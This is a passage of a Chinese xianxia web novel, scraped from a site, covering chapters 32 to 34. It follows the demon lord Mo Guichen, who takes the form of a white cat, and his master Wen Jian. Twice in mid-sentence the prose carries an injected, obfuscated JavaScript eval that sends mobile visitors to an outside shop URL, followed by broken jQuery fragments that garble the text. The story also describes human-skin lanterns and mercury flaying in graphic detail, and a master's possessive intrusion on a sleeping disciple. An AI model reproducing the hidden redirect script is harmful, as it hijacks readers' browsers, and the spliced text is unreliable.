是只黄犬。 毛发脏乱,孤零零杵在那。 陌归尘匆匆收回眸光,召来几名魔婢,把几人送回去。 临到山脚,天空乌云密布,不消片刻,便是雨疏风骤。 雨雾淅沥,陌归尘脑海无端浮现出街口的那只黄狗。 他一挥袖,便回到原地。 狗影果然还在。 指尖凝出点华光,轻轻弹去,探进黄犬神元,查了查这狗的身世记忆。 竟又是中阴! 十年前,曾扎脚在此的戏班子迁走,留下这条看门犬。 黄狗不知被遗弃,只道主人出远门,日日蹲在戏台守候。 后来此地闹饥荒,黄犬不愿离开,被穷凶极恶的村民围捕宰杀,死去多时,奈何执念滞留人间,画地为牢,亲手将自己困在此地,等待主人来接他。 这么一等,便是十年。 …… 大雨越发滂沱,黄色的犬,浑身毛发凌乱打结,湿漉漉滴着水珠。 老木板传来点声响。 哑哑的。 黄狗吃力转眸,风烛残年,又饱经风霜,它污浊的眼已有些失明,勉强可看到个雪白的小影子跳上朽木台阶。 好像是只雪猫。 小猫很小一只,也不知成年没,口中还叼着条小鱼干,一声不吭走到它身边。 小猫干净漂亮,一看就是得主人万般疼爱,黄狗低低敛眸。 心中微酸阖眼。 前脚掌背忽而被轻拍一下,它睁开眼帘,只见小猫也不嫌脏,正用粉白的小肉垫碰着它爪子。 把小鱼干放到它跟前。 * 翌日,辰时。 雨下一夜,整座山潮气极重,闻笺走进雨雾,来到陌归尘房门前,轻敲一下,无人应答。 再敲,依然无回应。 他推开房门,床铺干净整洁,案几还方方正正叠着件披风,整间房都没徒弟气息。 那人根本没留宿。 大抵又是不辞而别。 闻笺顿足门口,静默许久,带上房门,离开。 松山脚下。 林道滚着几声闷雷,惊到虫鸣乍响,闻笺没打伞,细雨如絮,穿林打叶,飘落他满头墨发。 青丝上的白发带已湿透。 幽径上的雪影,低头看着掌心符咒,符咒安静泛出流光,那是他昨夜画在徒弟手的子母咒。 徒弟整夜都在附近? 循着符咒指引,闻笺快步来到目的地。 那是方破烂的旧戏台。 戏台之上,并排蹲着两只湿哒哒的小身影。 一大一小,一黄一白,好不可怜坐在雨中,纹丝不动,也不知这是做什么。 闻笺撑起纸伞,来到两个倔强的小毛团身后,单膝蹲下。 头顶蓦然多出片伞,潺潺雨水在伞沿汩汩坠下那刻,两只落汤小家伙的毛发霎时干爽,洁净如新。 一猫一狗同时向后转头。 这伞全撑在它们头顶。 融雨打湿来人衣衫,泥泞侵染其拖在地的雪袍,那人却视若无睹,耐着性子看他们。 雨声嘈嘈切切,衬得闻笺的嗓音沉沉模糊,不太真切。 他轻笑一声,问:“你们在玩什么新奇比赛?” 33. 吻。 33. 久违的舒适袭来,黄犬微愣低头,浑身毛发洁净泛流光。 它已好久未这般干净过。 多少年了。 它都忘了。 黄犬疑惑看来人,按理说它是听不懂人言,此刻,它却听得真真切切,那人在逗它们呢。 想来这便是小猫的主人,真温柔,黄狗失意垂眸,自己也能等到想等的人么? “大黄!” 一声高喝,穿破潺潺雨声,落进黄犬耳中。 大黄猛地僵滞,木讷转头,雨帘下的人影太模糊,它浑浊的眼球也瞧不真切。 但它就是百般笃定,它的归属,就在眼前。 “汪汪!” 大黄双耳往后耷,狂甩尾巴,就跳下高台,直愣愣扑上去。 一人一狗渐行渐远。 小猫扭头,口吐人言:“你骗它做什么?” 光凭肉眼,陌归尘自然看不出雨中人是闻笺炼制的傀儡。 但他就是断定。 那绝对是闻笺炼的傀儡。 闻笺也没欲盖弥彰隐瞒:“不然旁观你擅自掺和其中,平白添上业障?” 又朝他伸来手掌:“来,我们也回家。” 小猫低低凑过脑袋,张嘴,咬了一口闻笺的指尖,瞪人:“业障转移到你身了。” 许是猫儿只有巴掌大小,便是咬人也磨牙似的,不痛不痒,惹得人轻笑:“上来。” 小猫撇开头,没动。 闻笺:“年纪不大,脾气倒不小。” 小猫也不甘示弱:“年纪这么大,肚量却顶小。” 闻笺食指点点小猫脑门:“贫嘴薄舌。” 小猫转身,留下个负气的背影,闻笺方才察觉藏在小猫身后的尾巴不知何时炸毛了。 他抚过炸起的猫尾:“这么点业障,过几天便消。” “怎么消?” “你听话点就能消。” “你当我三岁小孩呢?” “没。” 魔尊大人心想,这还差不—— 但听闻笺道:“五岁。” 小猫咬牙切齿:“闻、笺、” 刚撸顺的毛,又倏然炸起来,这次不止尾巴,整个身子都炸毛了,怪是可爱的。 闻笺眼底含笑,捻起小猫后颈皮,直截了当揣进怀里轻薅几下:“听话,回去再闹,待会儿要打雷。” 小猫在怀里挣扎几下,没逃出魔爪,只能闷声闷气翻旧账:“确实,你该避避,一天天的净会骗人,指不定遭雷劈!” 闻笺的墨发恰好垂在胸前,小猫伸出爪子,狠狠抓扯了一下发梢:“你千万祈祷自己长命万万岁,不然以后都没人给你守孝。” 小猫言罢,窸窸窣窣爬进师尊袖口,再也不理人。 * 师徒二人回到落霞峰。 小灵藕也恰好从膳堂捧着只荷叶鸡回来。 “你回来啦!” “师尊,我饿了。” 半个时辰后。 小筑内,两人一藕围坐在方桌子一起用膳。 小灵藕生得矮小,站在凳子,半个身子趴着桌沿,埋着脑袋,乖巧扒饭。 闻笺没进食,只不时给这一人一藕布菜。 小灵藕习以为常,吃得安生。 陌归尘却咬着筷子踌躇半天,终是冷冷夹了片笋放到闻笺的空碗:“这个不好吃,给你。” 似难料到徒弟这口是心非的一出,闻笺微讶,甚感欣慰颔首,夹起,送到唇边。 小灵藕:“你没用公筷哦。” 它歪头又补充道:“你还咬了半天筷子,脏脏。” 陌归尘:“……” 闻笺:“……” 陌归尘攥实木筷敲过去:“食不言!” “明明就是!”小灵藕抱头,嘟嘟囔囔,煞是委屈瞪人,“这在话本里叫间接亲亲。” 一人一藕眼看就要打起来,闻笺连忙伸出双手,一掌摁住一个脑袋劝架:“好了。” 话刚完。 屋内飞来只传音灵鸽,是掌门请他商议征讨魔界前夕的仙门集训事宜。 闻笺刚迈出门口,又回眸叮咛:“你俩安分用膳。” 安分是不可能安分的。 眼瞅师尊前脚离开,陌归尘后脚便撂下筷子,回了魔界,直奔护法殿,替右护法疗伤,温抚经脉。 魔界。 望着昏睡许久,依旧无苏醒迹象的男子,陌归尘蹙眉,弹出点灵力,探进右护法眉心。 细细查看其神元。 修道之人的神元,皆储存着记忆与良知,只要没被刻意销毁神元,哪怕人已死去多时,也能被窥探神元。 裹在球状神元周遭的光层,便是良知,良知颜色越单一纯粹,越纯善。 他本欲查看这人到底有何不为人知的遭遇,却意外发觉右护法的良知近乎杏色。 杏色? 怎么可能是杏色! 百思不解间,陌归尘袖角忽地被抓住,底下人眼睫颤抖,浑身肌肉紧绷,煞白的唇翕动:“走……” 他狐疑垂眼,右护法仍未醒,显然神思不宁,怕是在做噩梦。 青年倒也没决绝抽开袖子,任由那人拽着,继续化出灵力替人疗伤,温抚完经脉后,陌归尘也没急着离开,而是回到竹屋。 掀开竹帘,里面的灵藕师尊如常安静坐在竹榻。 慢悠悠走近竹榻。 盯着那张唇,耳边似又是小灵藕的话“间接亲亲”,陌归尘情不自禁坐在灵藕师尊身侧。 他侧着身看他。 鬼使神差般,慢慢凑近。 咫尺距离间,蓦然醒神,陌归尘退开身子,往后挪挪。 大抵是陷进个囹圄怪圈,徘徊在奇怪的感觉中,他开始不自知地乱翻东西。 然后便翻出堆小鱼干。 陌归尘:“……” 回神后,他颇无语收拾腿上堆积成小山的鱼干。 闻笺给他的储物法宝没空间限制,从小到大,他家师尊什么好东西都往里塞,多得陌归尘也无暇思考自己储物袋里的小鱼干到底是何时出现的。 陌归尘拣起最后一条。 尝了口。 味道竟还不错。 本着不浪费的原则,青年手捏小鱼干,细嚼慢咽啃完,困意随之袭来。 他化作本体,懒懒躺下美人榻歇息。 * 月华影转,照进窗棂,在窗台凝下片霜。 雪白的猫窝在霜华下。 竹榻上的雪影睁眼,眼神悠悠落在小猫露出的肚皮。 他迤迤然走到雪猫旁,弯身打量小猫半晌,指尖戳戳上小猫柔软雪白的肚皮。 小猫无意识哼出声。 似在为被扰清梦而不满。 “为师给你的小鱼干,怎么可以随便相赠,真不乖。” 雪影拿出颗粽子糖,慢条斯理拆开油纸包,糖香顿时四溢。 他把糖放到小猫面前。 小猫鼻尖耸动,伸出舌尖去扫刮,刚碰到甜腻的糖面,却又一触即离。 下意识凑过头。 鼻尖刚触碰到糖源,芳香又远离而去。 小猫意犹未尽去追逐甜味。 它伸出舌尖,小小探着,却什么也没探到。 反倒被双指钳制住。 猫舌粉嫩,带着倒刺,挠得人指腹酥酥麻麻的,雪影却很是满足于此,蹂.躏许久,才不舍松手。 他轻碰小猫眉心。 小猫顿时变成半人半猫模样。 雪影抬手变出个人皮灯笼。 那皮是新剥的,肌理上的细筋青紫交错,还微不可查跳动着,整个灯笼殷红淋漓,几滴暗红的血珠挂在笼底,欲坠未坠。 怕弄脏干净漂亮的小家伙,他把灯笼放远了些。 光线却暗下几分。 雪影眯眼。 他抬手一挥,整个屋顶,霎时挂满数百盏人皮灯笼,烛光映照,室内恍若白昼。 至此。 他才心满意足抿唇,低低端详榻上的小徒弟。 底下人的眉眼极为明艳,血色灯笼映衬下,秾丽的五官,更是生出种诡异的妖媚。 尤其是细看之下,唇瓣上的那点美人唇珠,被血光镀得立体莹润,饱满娇俏。 颠倒容华。 勾着人一尝芳泽。 他执起徒弟的手,轻托在掌心细细打量。 陌归尘虽长得高,但骨架偏小,更是打小就被养得金贵,两厢这么一对比,便更显五指纤弱,素净又漂亮。 十足是朵娇花。 “吾的小尺玉,真是越长越迷人,难怪谁见了都心动。”(1) 雪影眼眸轻眯,难掩溢出眼眶的独占欲,眸光转而落在陌归尘衣袖一角。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375720|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 捏出丝黑雾。 黑雾霎时吞噬掉嫣红外袍,慢条斯理替徒弟换上新外衫,才不疾不徐说:“为师都有些吃味了。” 该拿你如何是好? 该如何是好呢? 思忖间,他把徒弟的手放到唇边,低吻一下。 与其说吻,不如说是咬。 惩罚意味甚浓。 轻微痛意袭来,陌归尘迷迷糊糊睁眸,半梦半醒的人,神情迷离望着眼前景物。 藤蔓。 怎么又是藤蔓? 幻觉吧,他心想,毕竟藤蔓怎么会咬人呢,除非藤蔓成精,但魔宫方圆十里可没活物。 迷蒙的青年,颇有些无所谓的自暴自弃,任由藤蔓缠绕指尖索吻,继续躺了回去。 许久也不得消停,小猫被折腾坏了,疲惫掀起点眼缝,模糊的白影霎时倒影进眼眸。 他倦乏眨眨眼:“师尊?” 想来又是睡糊涂了。 藤蔓也能变师尊。 陌归尘懒懒阖上眼,眷恋十足挨过去枕上闻笺大腿,幻觉也好,心魔亦罢。 饮鸩止渴,何尝不是止渴? 榻中青年自甘堕落在这场伤风败俗里,低低喃喃,不过片刻,已在那与生俱来的安然中,悠悠沉睡。 榻边人影没说话,他伸出食指,再次点落徒弟眉心。 灵息缓缓钻进眉心,撑开陌归尘识海,许是第一次被外来者入侵,识海略有抗拒,还是抵不住,被撕开裂痕。 痛意叫人轻哼一声。 那股流体也似怕伤到本源,便是放缓些许,软柔柔的,慢慢挤进去。 一点一点探索。 终于,停在神元旁。 神元的一角被冰封,暖流缠绕神元,冰角愈渐淌下片水迹,露出原本样貌。 * 陌归尘昏昏沉沉做了场梦。 他梦到及冠那年拒婚后,自己在山下酒肆借酒消愁。 彻夜未归,更是喝得酩酊大醉,回来时踉踉跄跄,脚下一滑,跌躺在落霞峰石阶,十足是个没有骨头的醉汉。 他不知自己赖在那多久。 只记得师尊来寻他。 师尊刚扶起他,他便愤愤拉着人往身后一拽,师徒二人双双滚进栀子花丛。 趴在师尊身,眼眶开始不自觉肿胀泛热,睡梦中的青年,心尖也被这梦带着酸楚。 他真真切切瞧见。 梦中的自己,那翻滚在眼角的泪珠,终是收不住,倏然滚落,正中闻笺唇角,随后便是两滴、三滴…… 他使力拽紧底下人衣襟:“我不要别人,我不要别人。” “我喜欢的是你。” “你到底明不明白,我心悦你呀!心悦你……” 滚烫的泪珠砸在闻笺唇角。 他一时慌乱无措,颤着手去擦,却怎么也擦不干,手心沾满湿漉漉的发丝。 醉鬼是毫无逻辑的。 下一瞬。 他就这么毫无征兆地亲了下去,强行吻着自己的师尊。 混杂泪水的吻。 又苦又酸。 …… 窗外一声惊雷,滚滚落下,直将人从梦中吓醒。 陌归尘乱拂的手臂,撞倒桌角的琉璃灯,“砰”一声砸落地面,惊扰了屏风外的人。 那人撂下茶杯,绕过屏风,来到榻前,指尖弹出根灵丝给他把脉。 铜壶滴漏,滴答滴答作响。 陌归尘混沌揉着眉心,余光偷瞄闻笺沾了茶水的尾指,不自觉舔了舔干涩的唇。 他视线往上移开,瞧见闻笺收回灵丝,嗓音带着彻夜未眠的哑意:“你昨夜夜半浑浑噩噩来敲门,为师观你心神不宁,便让你歇在此。” “哦。” 陌归尘还没来得及思考自己如何从魔宫回到落霞峰,又如何成了闻笺口中的魂不守舍,裤腿便被人一拽。 小灵藕从他被窝里爬出:“你昨夜喊了十一次师尊,甜腻得哟,比咱们上次研究的那个话本还会叫。”说着便掏出上次的话本。 话本? 该不会是上次那本强取豪夺、还声画具备的风月话本? 思及此,陌归尘伸手要去抢,手臂无意牵动被子。 小灵藕本就笨拙拿不稳东西,被那床被子一撞,手里的话本直愣愣掉下床,滚到闻笺脚边。 正正好摊开在接吻那页。 34. 有人初见,有人重逢 34. 话本直愣愣躺在地。 上次就调侃句闻笺哥哥,他家师尊脖子烫得能煮鸡蛋,这次若是让闻老古板看见这么露骨的东西,不知得恼怒成什么样子。 虽然他也挺想看高岭之花失控,眉眼蒙着潮气,布满难退却的浓情蜜意,像话本里那样,与他缱绻相拥,热烈缠吻。 但只能他一人欣赏! 陌归尘一把抓起碍事的死灵藕,一个屁股墩子压上去,眼疾手快挡住书册内容。 行云流水,一气呵成。 “嗷!”小灵藕咚一下坐在书册上,疼得龇牙咧嘴。 闻笺垂眼,望着徒弟拎住小灵藕,半跪半趴在他脚边,飘动的银发刚好擦过他腰部往下的位置。 那人也是僵涩抬头。 扯出抹笑。 没深究徒弟的反常,闻笺连退两步,若无其事揭过这茬,来到书柜那边,翻来好些竹卷:“都是你从前自创的剑法,看看吧。” 竹卷被放到眼前,陌归尘瞟了眼:“剑骨都废了,还练什么剑。” “兴许还能长回来。” “……” 陌归尘挑起抹银发:“说得轻巧,你看,哪怕有神草,这头发也没长回墨色。” “试试吧。” 试试,又是试试。 陌归尘嘀咕:“你怎么不试试给我亲——”忽而想起梦中那幕,话音戛然而止。 那个吻。 又酸又苦。 不该呀,话本里描述的亲吻,明明触感柔软如丝绸,滋味香甜似蜜饯。 陌归尘托腮犯难,从小到大,什么心法剑术奇门遁甲,哪怕是各种奇难杂症都应付自如的魔尊大人,遇上的世纪难题,竟是一个吻的滋味。 师者,所以传道受业解惑也。 这刻,他真想向闻笺好好讨个解惑,叫此人尽一尽为师者的职责。 但。 到底没付诸行动。 头顶落下点嗓音:“怎么把唇咬破了?” “啊?” 陌归尘微微张唇,静静看着闻笺递来的膏药。 他接过小玉瓶,舔舔唇,抿到点甜腥味。 乌云消散。 日光从外头泻进来,空气中尽是雨后的青泥芳香,奇怪的氛围,叫人一时无措。 陌归尘拧开瓶子,边抹药边无所事事翻开竹卷。 卷面大片墨色字迹,偶有些来自师尊圈画打岔的朱砂批注。 二人字迹,如出一辙。 毕竟自己是师尊一手一脚带大的,何止于此,简直浑身都是对方的痕迹。 幼时不爱练字,就爱躺在师尊怀里偷懒。 这人便趁机握起他手,逮着他练字,经年累月的,害他如今连提笔写画的姿势,都染有闻笺的影子。 那时师尊左手拿荷叶鸡鸡腿,右手握起他手,抱在怀里,带着他练字,写一个字,给喂一口鸡腿。 他禁不住荷叶鸡诱惑。 老老实实跟着闻笺练字。 后来某夜,他无师自通,学会了一口一个鸡腿的新吃法,那一口下去,直把处变不惊的玄胤仙尊都看愣了一下。 似见他不说话,那人又敲敲几面,嘱咐:“外头有早膳,先喝汤羹再吃荷叶鸡,用完便温习下剑谱。” “为师晚些时候回。” “过几日,检查你功课,不可偷懒。” 陌归尘心不在焉听着,直至听到最后一句…… 啧。 魔尊大人郁闷不已,果然在师尊眼里,哪怕徒弟实力吊打整个仙门,也还是个小孩。 “知道了。” 陌归尘嘀嘀咕咕的:“啰哩巴嗦。” 脑门被点点:“认真些,伏魔大战非儿戏。” “哦。” 确非儿戏,那根本就是一场笑话,仙门的奇耻大辱。 闻笺前脚离开,陌归尘荷叶鸡都还吃两口,华云舟后脚便出现在落霞峰山脚。 峰下有禁制,闻笺不在,那老迂腐也没打道回府的意思,陌归尘不情不愿下山。 华云舟见露脸的竟是眼中钉肉中刺,那好脸色顿时消散,冷冷问:“你师尊呢?” 这变脸速度,比民间戏法还精彩,陌归尘没忍住翻了个白眼:“我们当徒弟的,哪敢管师父去哪。” “你!” 华云舟气得岔气,差点要当场动手,却见往日安静祥和的峰,霎时天地失色,狂风骤起,刮得他脸颊生疼。 得! 他更是火冒三丈,连峰灵都护着,这人真是和从前那孽障一般,惯会使手段,狐媚惑主。 断不可留! 他嗤道:“你去请你师尊,我在议事堂等他。” * 思过崖,霜风猎猎。 两道雪影,衣袂飘摇,伫立对视,静默许久。 细看之下,不难瞧出,一道身影虚晃朦胧,似魂状,一道则是血肉真实的躯体。 “这些年,你拐他去何处了?” “你这就可就冤枉我了,被拐的是我,咱们的小徒弟疯起来,不比你逊色。” “荒谬。” 铮—— 霜寒剑出鞘,闻笺直指对面人,对方却慢悠悠看来:“杀我,就没血了。” 雪影神情淡定,想起当年,亲手接过了无气息的小猫,哪怕故人动用九尾族禁法,他也了然,这只小猫命数已尽。 于是,他亲手割破血脉。 布下阵法,以血为媒介,顺带滋养这只咽气小猫。 这世间哪来什么天生剑骨,不过是有人用自己的血,去温养这副死去的骨肉。 温养了一千年。 那年三月初七,春和景明,拜师大典,四目相对,有人初见,有人重逢。 雪影挑眉:“咱们的小徒弟,居然能问出怎么认出易容的他这种傻话。” “精心温养千年,足足一千年,才开出来的花,怎么可能认不出呢。” “那个小傻瓜定然不知,他身上流转的体温,是师尊血液的温度。” “也是难为你了,明明没有七情六欲,这些年却学着故人的模样,尽职尽责照顾故人的孩子,生生长出一颗心来。” 雪影嗤笑,双指捏上霜寒剑,轻轻抵到自己脖子,挑衅十足呵笑:“来,千万别手软,休叫我瞧不起你。” “不对。”雪影眉眼晕出邪气,指尖压上唇瓣,轻唔一声,“你就是我,我就是你,自轻自贱,人必贱之,我看好你。” 他微仰脖子:“来,杀我。” 话音刚落。 二人不约而同看向某方向,雪影颇为遗憾“呀”了声。 “小徒弟来了。” 雪影懒懒耸肩:“若他知道我是如何被你分离出来的,你看咱们的小徒弟会不会发疯?” 他似笑非笑:“你也不想这秘密被小徒弟知晓吧?” “你进我,还是我进你?” 魂体化作团白光扑进实体。 …… 陌归尘跑遍落霞峰,方在思过崖看到闻笺背影。 他快步走过去。 那道雪影也缓缓转身。 两厢对视。 闻笺抬手,朝他脸颊伸来,还没触碰到眉眼,体内蹦出道白光,化出无数道灵丝,生生勒住这只掌,灵气逼人可怖。 瞬间便勒出血珠。 看着闻笺停在半空的手,哪有人自己打自己的,陌归尘皱眉:“你灵力失控了?” “没。” 那人轻笑一声,眉眼微挑收手,俯下身,垂视而来。 “看什么?”陌归尘仰头,霎时与那双眼眸对视。 他从未见过这般的闻笺。 那双本该清冷无波的眸,却似雪山泼熔岩,愈渐化出片潋滟的靡丽。 霜雪也不甘示弱,反扑翻滚,将绚丽的红岩冲淡净化。 割裂相撞。 彼此拉锯。 暗中斗法。 犹如好坏博弈,两厢交织碰撞,生出股亦正亦邪的韵味,陌归尘觉得有些精彩。 便是呆呆看了许久。 见徒弟被蛊住,闻笺弯腰,打量徒弟额角薄汗,嗓音似含在喉咙般,模糊低笑:“跑了满山头,我们小尺玉累坏了吧?来,为师带你去灵泉好好洗——” 嘶。 很细微的痛闷声。 陌归尘敛神,听得不真切,只觉得今日的闻笺真怪,对方唇线紧绷,似想说话又说难以启齿。 一副欲言又止模样。 好半晌后,淡声道:“为师有事,走了。” 陌归尘简直丈二和尚摸不着头脑。 老男人神神化化的! 刚走几步,方想起,华云舟是让他来寻闻笺,人没请着,得,回去又有挨训理由了。 魔尊大人“啧”了声。 很烦。 回眸瞥瞥闻笺一溜烟消失的方向,也罢,许是真有事。 * 这几日,仙门各派弟子陆陆续续前来浮华派参加伏魔大战前夕的仙门集训。 浮华派热闹无比,人太多,陌归尘一时半会儿也没找出那日腰间印有独特图案,疑似“十三师兄”之人。 这第一日只是听训。 广场之中,人群散去,陌归尘站在石阶上四处张望。 “喂!陌归尘,敢不敢与我比剑?” 陌归尘低头,只看见上次那个摇扇男自持掌门华云舟入室弟子,竟又来寻衅他。 找他比武? 真是自取其辱。 “没空。” 陌归尘淡淡回,便要去安置各门派子弟的弟子苑碰碰运气,焉知这人却不依不饶拦他。 “走什么?怯了?”摇扇男啪地收扇,刻意放大声音,引得众人注目,“不会吧,玄胤仙尊剑术天下无双,你身为尊上徒弟,连个剑都不敢比?” 随后颇为大度道:“陌师弟剑术差,师兄自然会让让你,可你若懦弱得连战都不敢应,那可真是尽丢仙尊脸面。” 他们说话的功夫,周遭已经围来不少看戏的,交头接耳,窃窃私语。 “仙尊怎么会收他呀!” “我剑术也不差呀。” “就是,他入门这么久,我都没见他拿过剑。” “天啊!那个谣言不会是真的吧?说他脱了衣裳勾引仙尊才拜得仙尊门下。” “可他长得不咋样啊。” “你懂什么,指不定人家床上功夫了得,仙尊食髓知味,念念不忘呗。” “如此看来,玄胤仙尊也没这么光风霁月嘛,表面师徒,实际脔.宠。” 陌归尘越听越皱眉,他一击掌风轰过去,直把几人当场掀翻,既然找不到“十三师兄”,那便引“十三师兄”来找他。 思及此,他冷冷转向摇扇男,借机问:“去哪比?” 摇扇男底气十足:“演武场。” 众人无不哗然。 仙门各派皆禁随地私斗,但可到演武场定下生死契,刀剑无眼,生死有命,不得追究。 “呵。” 陌归尘冷笑,不知自己何时与这人结下如此深仇大恨,竟叫人恨不得置之死地。 他问:“你确定?” 摇扇男满眼戏谑:“陌师弟慌了?你且放心,我们到底是师兄弟一场,我会顾全你面子的。” 演武场。 巨大的擂台四周,被围得水泄不通,人群还是一波又一波,闻讯赶来。 二人在演武场巨石旁,施法签下生死契约。 摇扇男提着剑登台。 陌归尘随便捡了根树枝,不急不缓踏上台阶。 摇扇男微怒:“你剑呢?” 陌归尘斜眼看人,连树枝也丢了,面无表情:“打你就打,废话少说。” 那股子目中无人的架势。 羞辱感极强。 摇扇男怒目圆睁:“好!既然陌师弟要自取其辱,那休怪师兄刀剑无眼。” 他运气提剑,又快又狠,出手便是死招,剑尖直刺陌归尘。 陌归尘淡漠看人。 咫尺距离间。 他侧身,不费吹飞之力避开这致命一击。 抬手。 屈指一弹。 那柄剑,就这么猝不及防飞了出去,摇扇男甩甩发麻的手,不可置信:“你!怎么可能!” 这人修为与他相当,竟如此轻松化解他招式。 跟玩似的。 且也不主动攻击,如在拖延时间,慢慢玩他。 他手心藏在袖口,想起师尊给的暗器,悄然捏在掌缝之间,腾空而起,再次发出攻势。 两人近身交手。 摇扇男招招狠绝,专攻致命部位,又一一被人化解。 台下人越来越多,陌归尘余光扫视围观者,没看到熟悉的身影。 反倒望见因他占据上风,屡屡游刃有余,众人眼中的殷切一点一点落空。 颇为失意。 他心中冷嗤,都盼着他死。 几招过后,摇扇男趁陌归尘不备,掌心夹暗器,偷袭对方腰腹最柔软之处。 陌归尘钳住摇扇男手臂。 他眸光一转,双指反夹起那人的掌,那细细一根的刺是……暗器? 此种暗器名为噬魂针,进入肌肤后即化,基本查不出,杀人于无形,且这个角度拿捏得正好,台下人根本看不出来。 “难为你们费尽心思。”陌归尘抬脚一踹,把人踹出数米外。 摇扇男趴在地面。 那道红影居高临下看来,明明面无表情,却总觉得陌归尘看他,宛若在看一条不自量力的狗。 他怔了怔。 后知后觉自己又被这人蛊惑,妈的,长得不咋样,偏生有一双会勾人的眼儿,难怪师叔收他为徒,怕不是如传言那般,被迷惑,做了些见不得人的勾当。 “陌归尘!” 娇生惯养多年的人,哪里受过这般委屈,他恼羞成怒,运气全身灵气,蓄力一掌,金丹修士十成十的灵力就这么轰出去。 “受死!” “啊!” 咔嚓一声,众目睽睽之下,摇扇男的手腕,骨折在陌归尘的双指下。 他抱着鲜血淋漓的手腕,扭曲在地,痛苦哀嚎。 昏厥,不省人事。 台下人愕然。 好半天后,方有人回神声讨:“陌归尘!” “你好歹毒!那是你师兄!” “你简直冷血无情!” …… 台下人义愤填膺,咄咄逼人,声声讨伐如浪潮,一波又一波。 陌归尘恹恹擦手:“我真是百思不得其解,我是灭了诸位满门么?你们哪来的敌意?” “你休要转移话题!” “你师兄还被你折磨得晕倒在台呢!” 陌归尘丢下绢帕:“他想杀我,是我活该,技不如人。” “我还手废他腕,是我歹毒,不念同门情。” 青年笑了。 那浅笑却看怔所有人。 众人晃神,竟痴痴愣住,回神后,纷纷毛骨悚然,自己怎么会被一个平平无奇的男子吸引,八成是这厮暗中修炼过什么见不得人的邪术妖法。 对!理应如此! 必须将此人扼杀方可休! 有人高喝:“你这人歹毒至此,理应绑上刑台,受诛!” “对对对!” “以免日后酿成大祸!” 陌归尘无所畏惧耸肩:“好呀!反正罪名已坐实,不多拉几个陪葬,着实辜负你们待我之心呢。” 他指尖随意一点,挑了个人,轻轻一勾,那人便凌空飞到擂台上:“你想如何死?生绞?腰斩?凌迟?五马分尸?见血封喉?” 男子少说也是金丹修士,竟这么猝不及防被绑上擂台,这人实力得有多深不可测,他吓得噗通一下跪下。 陌归尘捡起根树枝,敲敲男子脑袋:“还是水银剥皮?” 他笑得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375721|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无害:“听过么?” 男子懵怔摇头。 便听到:“在土里挖个坑,把你竖着埋进去,只留下你这个小脑袋瓜。” 树枝在他头顶轻划过,那人声音凉淡:“然后在你头顶划个十字,剥开皮层,灌进水银,水银坠落时,分离你的皮肉,你会痛苦挣扎,不断扭曲,然后滋溜一下跳出来,血肉模糊,又光秃秃的,完整的人皮则留在土里。” “如何?” 男子两腿发软,双股间流出腥臊液体,直接失禁了。 啧。 陌归尘皱眉,嫌弃掩鼻,缓缓走下擂台,穿过还呆愣的众人,扬长而去。 “陌兄陌兄!” 陌归尘刚走出拐角,便迎面看见三人结伴跑来。 黄金围着他转:“没事吧?” 轻衣忧心道:“陌师兄可有受伤?” 黄银也是附和着:“我们听说你与人起冲突,还定下生死契,便赶过来了。” “没事。” 几人仍是不放心围着他,左右打量,再三确认后方吐气:“没事就好,我们可指望你罩着呢。” 陌归尘轻笑,没说话。 轻衣推着人:"上次说请你吃酒来着,正好我也饿了,咱们去膳堂,我老馋膳堂的桂花酿了。" 几人边说边笑走去膳堂。 膳堂比往日热闹不少,他们只能坐到门口的位置。 轻衣拿起酒杯,一一斟酒:“来,吃酒吃酒。” 陌归尘接过,几人碰杯对酌。 他们周边也是坐满各门各派的弟子,噪杂声不绝于耳。 高谈阔论的言语中,从诗词歌赋、天材地宝、宗门势力、心法要诀辗转到一个人名。 ——林岁愉 浮华派二师姐。 陌归尘捏杯的手蓦然紧紧。 自林岁愉死后,便与从前的闻青栀一般,成为宗门禁忌。 与他的离经叛道的门派污点截然不同,旁人不敢提及二师姐全然是因掌门听不得外甥女的任何讯息。 从前有名弟子于殿中失言,无意谈起二师姐,只是寥寥几字,便挨了罚,躺了两个月方才下得床。 陌归尘抿下酒水,又听旁桌腰别玉箫大的男子聊起二师姐与十三师兄的前尘往事。 玉箫男惋惜摇头:“二人年岁相仿,可师姐都二十七了,十三师兄还停留在十七岁,所以说有些故事,从开头就预知了结局。” “两情相悦的人,明明只差一年,便可以有情人终成眷属,可是这一年,生生熬成十年。” “身陷囹圄,无可解。” 这点,陌归尘也清楚,十三师兄也曾是凡间世家子弟,本该风光无限,奈何祖上开罪邪祟,家族受到诅咒,族中人拜了满天神佛,方知求仙问道可消灾避害,便是举全族之力,把族长孩子送去仙门修道。 但最恶毒的诅咒还在,那就是永不成年,打破诅咒的唯一方法是取八字纯阴之人的心头血破煞。 有人唏嘘:“八字纯阴之人不会就是二师姐吧?” 玉箫男点头。 又有人问:“那后来如何?” 玉箫男:“后来二师姐也永远停在最美好的年华。” “殉情?双死?为爱献身?” “倒也没这么俗套,师姐是救人而死的。” …… 往事如梦,陌归尘闭目,私还能看到那夜的月。 那天是中秋,月亮很圆,师姐护送宗门秘宝,途中想回家拜一拜爹娘,没拜成。 他们落进奇怪的阵法。 